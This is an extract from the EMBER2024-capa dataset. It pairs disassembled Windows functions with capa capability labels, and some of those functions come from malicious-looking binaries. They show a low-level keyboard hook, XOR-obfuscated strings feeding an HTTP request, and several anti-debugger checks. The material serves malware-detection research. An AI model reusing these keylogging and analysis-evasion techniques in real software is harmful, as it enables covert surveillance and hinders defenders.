joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14001db70
Capabilities:
Terminate process

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov dword [rbp + 0x18], edx
lea rax, [0x1400c0200]
mov rcx, rax
call sym.pthread_spin_lock
mov rax, qword [rbp + 0x10]
mov rax, qword [rax]
mov eax, dword [rax]
cmp eax, 0xbab1f0ed
jne 0x14001dbac
mov rax, qword [rbp + 0x10]
mov rax, qword [rax]
mov eax, dword [rax + 4]
test eax, eax
jg 0x14001dbec
mov ecx, 2
mov rax, qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
call rax
mov rcx, rax
mov dword [rsp + 0x20], 0x28
lea r9, str..._.._.._mingw_w64_libraries_winpthreads_src_rwlock.c
lea r8, str.___rwlock_t__rwl___valid__LIFE_RWLOCK______rwlock_t__rwl___busy___0_
lea rax, str.Assertion_failed:___s___file__s__line__d_n
mov rdx, rax
call sym.fprintf
mov ecx, 1
call sym.exit
mov rax, qword [rbp + 0x10]
mov rax, qword [rax]
mov edx, dword [rax + 4]
sub edx, 1
mov dword [rax + 4], edx
lea rax, [0x1400c0200]
mov rcx, rax
call sym.pthread_spin_unlock
mov eax, dword [rbp + 0x18]
add rsp, 0x30
pop rbp
ret

Function at 0x1400249c0
Capabilities:
Read file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x28
mov r9, qword [rcx + 0x40]
mov rsi, rdx
mov rbx, rcx
mov edx, 1
mov rcx, rsi
call sym.fread
mov edx, 0xffffffff
test rax, rax
jle 0x1400249ec
movzx edx, byte [rsi + rax - 1]
mov dword [rbx + 0x48], edx
add rsp, 0x28
pop rbx
pop rsi
ret

Function at 0x140025610
Capabilities:
Write file on windows

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x30
cmp byte [0x1400c3050], 0
jne 0x140025713
mov byte [0x1400c3050], 1
call sym.__cxa_current_exception_type
test rax, rax
je 0x1400256e8
mov rbx, qword [rax + 8]
xor eax, eax
lea r9, [rsp + 0x2c]
cmp byte [rbx], 0x2a
mov dword [rsp + 0x2c], 0xffffffff
sete al
xor r8d, r8d
xor edx, edx
add rbx, rax
mov rcx, rbx
call sym.__cxa_demangle
mov ecx, 2
mov rsi, qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rdi, rax
call rsi
mov edx, 1
lea rcx, str.terminate_called_after_throwing_an_instance_of_
mov r8d, 0x30
mov r9, rax
call sym.fwrite
mov edx, dword [rsp + 0x2c]
mov ecx, 2
test edx, edx
je 0x1400256d9
call rsi
mov rcx, rbx
mov rdx, rax
call sym.fputs
mov ecx, 2
call rsi
mov r8d, 2
mov edx, 1
lea rcx, [0x1400c5cc1]
mov r9, rax
call sym.fwrite
mov eax, dword [rsp + 0x2c]
test eax, eax
jne 0x1400beb77
jmp 0x1400beb6f
call rsi
mov rcx, rdi
mov rdx, rax
call sym.fputs
jmp 0x1400256a7
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r8d, 0x2d
mov edx, 1
lea rcx, str.terminate_called_without_an_active_exception_n
mov r9, rax
call sym.fwrite
nop
jmp 0x1400beb6a
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r8d, 0x1d
mov edx, 1
lea rcx, str.terminate_called_recursively_n
mov r9, rax
call sym.fwrite
call sym.abort
nop
nop
nop
call sym.abort
mov rcx, rdi
call sym.free
call sym.__cxa_rethrow
call sym.__cxa_begin_catch
call sym.__cxa_end_catch
jmp 0x1400beb6a
Function at 0x140084260
Capabilities:
Read file on windows

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov r12, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
mov rdi, rcx
mov rsi, rdx
mov ebx, r8d
mov rcx, qword [rdi]
call sym.fileno
mov ecx, eax
mov r8d, ebx
mov rdx, rsi
call sym.read
movsxd rbp, eax
cmp eax, 0xffffffff
je 0x1400842a8
mov rax, rbp
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
call r12
cmp dword [rax], 4
je 0x14008427a
mov rax, rbp
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x140096d60
Capabilities:
Read file on windows

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x38
mov rax, qword [rcx + 8]
mov rdi, rcx
test rax, rax
je 0x140096d88
mov rcx, qword [rcx]
add rsp, 0x38
pop rbx
pop rsi
pop rdi
pop rbp
jmp rax
mov rbp, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
mov ebx, 4
lea rsi, [rsp + 0x2c]
nop dword [rax]
mov ecx, dword [rdi + 0x10]
mov r8d, ebx
mov rdx, rsi
call sym.read
test eax, eax
jle 0x140096dd0
cdqe
add rsi, rax
sub rbx, rax
jne 0x140096da0
mov eax, dword [rsp + 0x2c]
add rsp, 0x38
pop rbx
pop rsi
pop rdi
pop rbp
ret
cmp eax, 0xffffffff
jne 0x140096ddc
call rbp
cmp dword [rax], 4
je 0x140096da0
lea rcx, str.random_device_could_not_be_read
call method.std.__throw_runtime_error_char_const_
nop
nop
nop
nop
nop
nop
nop
nop
Function at 0x1400be670
Capabilities:
Query environment variable

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x68
xor edx, edx
lea rcx, [0x1400c0840]
movabs rdi, 0x2e78786362696c67
movabs r12, 0x6c6f6f705f68652e
call sym.pthread_mutex_init
pxor xmm0, xmm0
lea rcx, str.GLIBCXX_TUNABLES
mov qword [0x1400c0858], 0
movups xmmword [0x1400c0848], xmm0
call sym.getenv
mov dword [rsp + 0x40], 0
mov rbx, rax
lea rax, str.obj_size
mov qword [rsp + 0x30], 8
mov qword [rsp + 0x38], rax
lea rax, str.obj_count
mov qword [rsp + 0x48], 9
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x58], 0x100
test rbx, rbx
jne 0x1400be725
jmp 0x1400be7cf
mov rcx, rbx
mov edx, 0x3a
call sym.strchr
mov rbx, rax
test rax, rax
je 0x1400be780
xor eax, eax
cmp byte [rbx], 0x3a
sete al
add rbx, rax
cmp qword [rbx], rdi
jne 0x1400be710
cmp qword [rbx + 7], r12
jne 0x1400be710
cmp byte [rbx + 0xf], 0x2e
jne 0x1400be710
add rbx, 0x10
lea rbp, [rsp + 0x30]
lea r13, [rsp + 0x60]
mov rsi, qword [rbp]
mov rcx, qword [rbp + 8]
test rsi, rsi
je 0x1400be76b
mov r8, rsi
mov rdx, rbx
call sym.memcmp
test eax, eax
jne 0x1400be775
cmp byte [rbx + rsi], 0x3d
je 0x1400be805
add rbp, 0x18
cmp rbp, r13
jne 0x1400be74f
jmp 0x1400be710
mov eax, dword [rsp + 0x58]
mov edx, 0x1000
mov ecx, 6
cmp eax, edx
cmovle edx, eax
mov eax, dword [rsp + 0x40]
test eax, eax
cmove eax, ecx
movsxd rbx, eax
movsxd rax, edx
add rbx, 0x26
imul rbx, rax
shl rbx, 3
mov qword [0x1400c0858], rbx
jne 0x1400be7df
lea rcx, [sym.__tcf_0_3]
add rsp, 0x68
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
jmp sym.atexit
mov qword [0x1400c0858], 0x16000
mov ebx, 0x16000
mov rcx, rbx
call sym.malloc
mov qword [0x1400c0850], rax
test rax, rax
je 0x1400be83c
xor edx, edx
mov qword [0x1400c0848], rax
mov qword [rax], rbx
mov qword [rax + 8], rdx
jmp 0x1400be7b7
lea rdx, [rsp + 0x28]
lea rcx, [rbx + rsi + 1]
xor r8d, r8d
call sym.strtoul
mov rbx, qword [rsp + 0x28]
movzx edx, byte [rbx]
cmp dl, 0x3a
je 0x1400be82c
test dl, dl
jne 0x1400be710
test eax, eax
js 0x1400be710
mov dword [rbp + 0x10], eax
jmp 0x1400be710
xor ecx, ecx
mov qword [0x1400c0858], rcx
jmp 0x1400be7b7
Function at 0x140027de0
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.14001b784
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.14001b784
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x140027f30
cmp rax, 0xffffffffffffffff
je 0x140027f30
xor edi, edi
test rbp, rbp
jle 0x140027edb
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.14001dd70
mov rbx, rax
test rax, rax
jne 0x140027e68
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x140027ed1
mov edx, 0x8000
mov ecx, r14d
call fcn.140015928
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.14001c460
cmp eax, 0xffffffff
je 0x140027eb1
cdqe
sub rbp, rax
test rbp, rbp
jg 0x140027e78
mov edx, r15d
mov ecx, r14d
call fcn.140015928
jmp 0x140027ed1
cmp byte [rsi + 0x38], dil
je 0x140027ec8
cmp dword [rsi + 0x34], 5
jne 0x140027ec8
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x140027ed1
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.140019e48
jmp 0x140027f44
jns 0x140027f44
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.14001b784
cmp rax, 0xffffffffffffffff
jne 0x140027efc
cmp byte [rsi + 0x30], dil
je 0x140027f44
mov edi, dword [rsi + 0x2c]
jmp 0x140027f44
mov ecx, r14d
call fcn.140016f28
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x140027f44
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x140027f44
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x140027f3d
mov eax, dword [rsi + 0x2c]
jmp 0x140027f42
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.14001b784
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x1004010e0
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x28
call sub.cygwin1.dll___getreent
mov rcx, qword [rax + 0x18]
lea r9, str._______________Q_msgkey____M_shmkey____S_semkey__...
lea r8, str.usage:_ipcrm___q_msqid____m_shmid____s_semid_
lea rdx, str._s_n_s_n
call sub.cygwin1.dll_fprintf
mov ecx, 1
call sub.cygwin1.dll_exit
nop
nop word cs:[rax + rax]
Function at 0x100403a20
Capabilities:
Encode data using xor

Disassembly:
xor al, 0x6c
xor al, 0x64
xor al, 0x67
xor al, 0x41
xor al, 0x3e
xor al, 0x7d
xor al, 0xa2
xor al, 0x9a
xor al, 0xa3
xor al, 0x88
xor al, 0x9d
xor al, 0xa4
xor al, 0x71
xor al, 0x74
xor al, 0x59
xor al, 0x87
xchg dword [rbp*4 - 0x57cb58cc], esi
xor al, 0x99
xor al, 0xa1
xor al, 0x86
xor al, 0xa3
xor al, 0xa3
movabs dword [0xa73490345934a834], eax
xor al, 0xad
xor al, 0xa7
xor al, 0xa8
xor al, 0x99
cdq
xor al, 0xa1
xor al, 0x67
xor al, 0x66
xor al, 0x90
xor al, 0xa7
xor al, 0x9c
xor al, 0x99
xor al, 0xa0
xor al, 0xa0
xor al, 0x67
xor al, 0x66
xor al, 0x62

Function at 0x1400010a0
Capabilities:
Log keystrokes via application hook

Disassembly:
sub rsp, 0x68
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x50], rax
xor r9d, r9d
lea rdx, section..text
xor r8d, r8d
lea ecx, [r9 + 0xd]
call qword [sym.imp.USER32.dll_SetWindowsHookExW]
xor r9d, r9d
lea rcx, [rsp + 0x20]
xor r8d, r8d
mov qword [0x140005628], rax
xor edx, edx
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
je 0x14000111d
nop dword [rax + rax]
lea rcx, [rsp + 0x20]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rsp + 0x20]
call qword [sym.imp.USER32.dll_DispatchMessageW]
xor r9d, r9d
lea rcx, [rsp + 0x20]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
jne 0x1400010f0
mov rcx, qword [0x140005628]
call qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
xor eax, eax
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.140001580
add rsp, 0x68
ret

Function at 0x140001e5c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001ea6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001ea6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001ea6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001ea6
cmp dword [rcx + 0x84], 0xe
jbe 0x140001ea6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001ea8
xor al, al
add rsp, 0x28
ret
Function at 0x140006780
Capabilities:
Contain obfuscated stackstrings
Create http request
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
mov rbp, rsp
sub rsp, 0x80
xor esi, esi
mov dword [rbp - 0x50], 0x54001d
mov word [rbp - 0x34], si
mov ebx, esi
mov dword [rbp - 0x4c], 0x690073
mov dword [rbp - 0x48], 0x6f0078
mov dword [rbp - 0x44], 0x780073
mov dword [rbp - 0x40], 0x5e0069
mov dword [rbp - 0x3c], 0x780075
mov dword [rbp - 0x38], 0x76007e
mov rdx, rbx
lea rcx, [rbp - 0x4e]
call fcn.140007b10
movsx edi, byte [rbp - 0x50]
lea rcx, [rbp - 0x4e]
mov rdx, rbx
xor di, word [rax]
call fcn.140007b10
inc rbx
mov word [rax], di
cmp rbx, 0xd
jb 0x1400067d3
xor r9d, r9d
mov word [rbp - 0x34], si
xor r8d, r8d
mov dword [rsp + 0x20], esi
lea rcx, [rbp - 0x4e]
lea edx, [r9 + 1]
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rbx, rax
test rax, rax
je 0x1400068df
mov dl, 0x7c
mov dword [rbp - 0x30], 0x14007c
mov dword [rbp - 0x2c], 0x80008
mov rcx, rsi
mov dword [rbp - 0x28], 0x46000c
mov dword [rbp - 0x24], 0x530053
mov dword [rbp - 0x20], 0xb000b
mov dword [rbp - 0x1c], 0x52000b
mov dword [rbp - 0x18], 0x13001b
mov dword [rbp - 0x14], 0x1b0013
mov dword [rbp - 0x10], 0x190010
mov dword [rbp - 0xc], 0x1f0052
mov dword [rbp - 8], 0x110013
mov word [rbp - 4], si
nop dword [rax]
movsx eax, dl
xor word [rbp + rcx*2 - 0x2e], ax
inc rcx
cmp rcx, 0x15
jae 0x140006897
movzx edx, byte [rbp - 0x30]
jmp 0x140006880
mov qword [rsp + 0x28], rsi
lea rdx, [rbp - 0x2e]
xor r9d, r9d
mov dword [rsp + 0x20], 0x80000000
xor r8d, r8d
mov word [rbp - 4], si
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
test rax, rax
je 0x1400068d6
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov al, 1
jmp 0x1400068e1
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor al, al
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x140008180
Capabilities:
Read file on windows

Disassembly:
push rbx
push rsi
push r14
sub rsp, 0x30
mov r14, r8
mov rsi, rdx
mov rbx, rcx
test r8, r8
jg 0x1400081a2
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbx
ret
cmp qword [rcx + 0x68], 0
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], rdi
je 0x14000821c
mov rdi, r14
mov rcx, rbx
call fcn.14000b760
test rax, rax
jle 0x1400081f4
mov rdx, qword [rbx + 0x38]
cmp rdi, rax
mov rbp, rdi
mov rcx, rsi
cmovge rbp, rax
mov r8, rbp
mov rdx, qword [rdx]
call fcn.140025720
mov rax, qword [rbx + 0x50]
sub rdi, rbp
sub dword [rax], ebp
mov rcx, qword [rbx + 0x38]
movsxd rax, ebp
add qword [rcx], rax
jmp 0x14000820c
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x38]
cmp eax, 0xffffffff
je 0x140008214
mov byte [rsi], al
dec rdi
mov ebp, 1
add rsi, rbp
test rdi, rdi
jg 0x1400081b6
sub r14, rdi
jmp 0x1400082ff
mov rax, qword [rcx + 0x38]
mov rbp, r14
mov rdx, qword [rax]
test rdx, rdx
je 0x140008233
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140008235
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140008267
cmp rax, r14
mov rdi, r14
mov rcx, rsi
cmovb rdi, rax
mov r8, rdi
call fcn.140025720
mov rax, qword [rbx + 0x50]
add rsi, rdi
sub rbp, rdi
sub dword [rax], edi
mov rcx, qword [rbx + 0x38]
movsxd rax, edi
add qword [rcx], rax
cmp qword [rbx + 0x80], 0
je 0x1400082fc
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x1400082a2
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
cmp rbp, 0xfff
jbe 0x1400082dd
nop dword [rax + rax]
mov r9, qword [rbx + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, rsi
call fcn.140047cb0
add rsi, rax
sub rbp, rax
cmp rax, 0xfff
jne 0x1400082fc
cmp rbp, rax
ja 0x1400082b0
test rbp, rbp
je 0x1400082fc
mov r9, qword [rbx + 0x80]
mov r8, rbp
mov edx, 1
mov rcx, rsi
call fcn.140047cb0
sub rbp, rax
sub r14, rbp
mov rbp, qword [rsp + 0x28]
mov rax, r14
mov rdi, qword [rsp + 0x20]
add rsp, 0x30
pop r14
pop rsi
pop rbx
ret
Function at 0x140010a50
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 8
mov r10, rcx
mov r9d, 0x138
mov ecx, dword [rcx]
cmp ecx, r9d
jne 0x140010ac2
lea r8, [r10 + 0x10]
movabs r11, 0xb5026f5aa96619e9
nop dword [rax]
nop word [rax + rax]
mov edx, dword [r8 - 8]
xor edx, dword [r8]
lea r8, [r8 + 8]
btr edx, 0x1f
xor rdx, qword [r8 - 0x10]
movzx eax, dl
and al, 1
neg al
sbb rcx, rcx
shr rdx, 1
and rcx, r11
xor rcx, qword [r8 + 0x4d0]
xor rcx, rdx
mov qword [r8 + 0x9b0], rcx
sub r9, 1
jne 0x140010a80
mov ecx, dword [r10]
jmp 0x140010bc3
cmp ecx, 0x270
jb 0x140010bc3
mov qword [rsp + 0x10], rbx
movabs r11, 0xb5026f5aa96619e9
lea rbx, [r10 + 0x9c8]
mov qword [rsp], rdi
mov rax, qword [rbx]
mov edi, 0x9c
mov rdx, qword [rbx + 8]
lea r8, [rbx + 8]
xor rdx, rax
btr edx, 0x1f
xor rdx, rax
movzx eax, dl
and al, 1
neg al
mov rax, qword [r8]
sbb rcx, rcx
shr rdx, 1
and rcx, r11
xor rcx, qword [rbx + 0x4e0]
xor rcx, rdx
mov qword [rbx - 0x9c0], rcx
lea rbx, [r8]
sub rdi, 1
jne 0x140010af0
lea rbx, [r10 + 0xea8]
mov edi, 0x9b
mov rax, qword [rbx]
nop
mov rdx, rax
lea r8, [rbx + 8]
xor rdx, qword [r8]
btr edx, 0x1f
xor rdx, rax
movzx eax, dl
and al, 1
neg al
mov rax, qword [r8]
sbb rcx, rcx
shr rdx, 1
and rcx, r11
xor rcx, qword [rbx - 0xea0]
xor rcx, rdx
mov qword [rbx - 0x9c0], rcx
lea rbx, [r8]
sub rdi, 1
jne 0x140010b40
mov edx, dword [r10 + 0x1380]
xor edx, dword [r10 + 8]
mov rdi, qword [rsp]
btr edx, 0x1f
xor rdx, qword [r10 + 0x1380]
mov rbx, qword [rsp + 0x10]
movzx eax, dl
and al, 1
neg al
sbb rcx, rcx
shr rdx, 1
and rcx, r11
xor rcx, qword [r10 + 0x4e0]
xor rcx, rdx
mov qword [r10 + 0x9c0], rcx
xor ecx, ecx
mov dword [r10], ecx
mov eax, ecx
mov rdx, qword [r10 + rax*8 + 8]
lea eax, [rcx + 1]
mov dword [r10], eax
mov rcx, rdx
mov rax, qword [r10 + 0x1388]
shr rcx, 0x1d
and rax, rcx
movabs rcx, 0x38eb3ffff6d3
xor rdx, rax
mov rax, rdx
and rax, rcx
shl rax, 0x11
xor rdx, rax
mov rax, rdx
and rax, 0xffffffffffffbf77
shl rax, 0x25
xor rdx, rax
mov rax, rdx
shr rax, 0x2b
xor rax, rdx
add rsp, 8
ret
Function at 0x140010da0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
mov rbp, rsp
sub rsp, 0x40
movdqa xmm0, xmmword [0x1400ad2a0]
xor edi, edi
movdqu xmmword [rbp - 0x20], xmm0
mov esi, edi
movzx r15d, cx
mov r14, rdx
mov byte [rbp - 0x10], 0
nop word [rax + rax]
mov rdx, rsi
lea rcx, [rbp - 0x1f]
call fcn.140011c40
mov rdx, rsi
lea rcx, [rbp - 0x1f]
movzx ebx, byte [rax]
xor bl, byte [rbp - 0x20]
call fcn.140011c40
inc rsi
mov byte [rax], bl
cmp rsi, 0xf
jb 0x140010de0
mov edx, r15d
mov byte [rbp - 0x10], dil
mov r8, r14
lea rcx, [rbp - 0x1f]
call fcn.140010cf0
movdqa xmm0, xmmword [0x1400acef0]
movdqu xmmword [rbp - 0x20], xmm0
mov dword [rbp - 0x10], 0x2c570412
mov dword [rbp - 0xc], 0x1b1e1631
mov dword [rbp - 8], 0x2a1312
nop
mov rdx, rdi
lea rcx, [rbp - 0x1f]
call fcn.140011ba0
movzx ebx, byte [rbp - 0x20]
lea rcx, [rbp - 0x1f]
mov rdx, rdi
xor bl, byte [rax]
call fcn.140011ba0
inc rdi
mov byte [rax], bl
cmp rdi, 0x1a
jb 0x140010e40
xor r9d, r9d
mov byte [rbp - 5], 0
lea r8, [rbp - 0x1f]
mov rdx, r14
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
mov rdi, qword [rsp + 0x70]
add rsp, 0x40
pop r15
pop r14
pop rbp
ret

Function at 0x140010ea0
Capabilities:
Check for debugger via api
Terminate process

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x1400b6060]
xor rax, rsp
mov qword [rsp + 0x50], rax
xor ebx, ebx
mov dword [rsp + 0x48], ebx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rdx, [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
cmp dword [rsp + 0x48], ebx
je 0x140010f01
lea rdx, [rsp + 0x20]
call fcn.140010f30
lea rdx, [rax + 1]
nop dword [rax]
nop word [rax + rax]
movzx ecx, byte [rax]
xor byte [rdx + rbx], cl
inc rbx
cmp rbx, 0x25
jae 0x140010f14
jmp 0x140010ef0
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.1400216a0
add rsp, 0x60
pop rbx
ret
mov ecx, 0x1001
mov byte [rax + 0x26], 0
call fcn.140010da0
mov ecx, 0x1001
call fcn.140048e50
int3

Function at 0x140010f80
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x50
lea rdx, str.OllyDbg____CPU_
xor ecx, ecx
xor ebx, ebx
call qword [sym.imp.USER32.dll_FindWindowW]
mov ecx, 1
lea rdx, str.Immunity_Debugger____CPU_
test rax, rax
mov edi, ebx
cmovne edi, ecx
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowW]
test rax, rax
jne 0x140010fc0
test edi, edi
je 0x140010fe1
lea rdx, [rsp + 0x20]
call fcn.140011010
lea rdx, [rax + 1]
nop
movzx ecx, byte [rax]
xor byte [rdx + rbx], cl
inc rbx
cmp rbx, 0x22
jae 0x140010fec
jmp 0x140010fd0
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret
mov ecx, 0x1005
mov byte [rax + 0x23], 0
call fcn.140010da0
mov ecx, 0x1005
call fcn.140048e50
int3
Function at 0x140011370
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x50
xor edx, edx
lea rcx, str.OLLYDBG
xor ebx, ebx
call qword [sym.imp.USER32.dll_FindWindowW]
mov ecx, 1
mov edi, ebx
test rax, rax
cmovne edi, ecx
xor edx, edx
lea rcx, [0x1400acba8]
call qword [sym.imp.USER32.dll_FindWindowW]
test rax, rax
jne 0x1400113b0
test edi, edi
je 0x1400113d1
lea rdx, [rsp + 0x20]
call fcn.140011400
lea rdx, [rax + 1]
nop
movzx ecx, byte [rax]
xor byte [rdx + rbx], cl
inc rbx
cmp rbx, 0x21
jae 0x1400113dc
jmp 0x1400113c0
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret
mov ecx, 0x1005
mov byte [rax + 0x22], 0
call fcn.140010da0
mov ecx, 0x1005
call fcn.140048e50
int3

Function at 0x140011490
Capabilities:
Terminate process

Disassembly:
mov r11, rsp
push rbx
sub rsp, 0xb0
mov rax, qword [0x1400b6060]
xor rax, rsp
mov qword [rsp + 0xa8], rax
xorps xmm0, xmm0
lea rcx, str.ntdll.dll
movups xmmword [rsp + 0x70], xmm0
xor ebx, ebx
movups xmmword [r11 - 0x38], xmm0
mov dword [r11 - 0x18], ebx
movups xmmword [r11 - 0x28], xmm0
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x140011559
lea rdx, str.NtQueryInformationProcess
mov qword [rsp + 0xc0], rdi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
test rax, rax
je 0x140011551
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea rcx, [rsp + 0xa0]
xor edx, edx
mov qword [rsp + 0x20], rcx
lea r9d, [rbx + 0x30]
mov rcx, rax
lea r8, [rsp + 0x70]
call rdi
test eax, eax
js 0x140011551
mov rax, qword [rsp + 0x78]
test rax, rax
je 0x140011551
cmp byte [rax + 2], bl
je 0x140011551
lea rdx, [rsp + 0x30]
call fcn.140011590
lea rdx, [rax + 1]
movzx ecx, byte [rax]
xor byte [rdx + rbx], cl
inc rbx
cmp rbx, 0x37
jae 0x140011572
jmp 0x140011540
mov rdi, qword [rsp + 0xc0]
mov rcx, qword [rsp + 0xa8]
xor rcx, rsp
call fcn.1400216a0
add rsp, 0xb0
pop rbx
ret
mov ecx, 0x1004
mov byte [rax + 0x38], 0
call fcn.140010da0
mov ecx, 0x1004
call fcn.140048e50
int3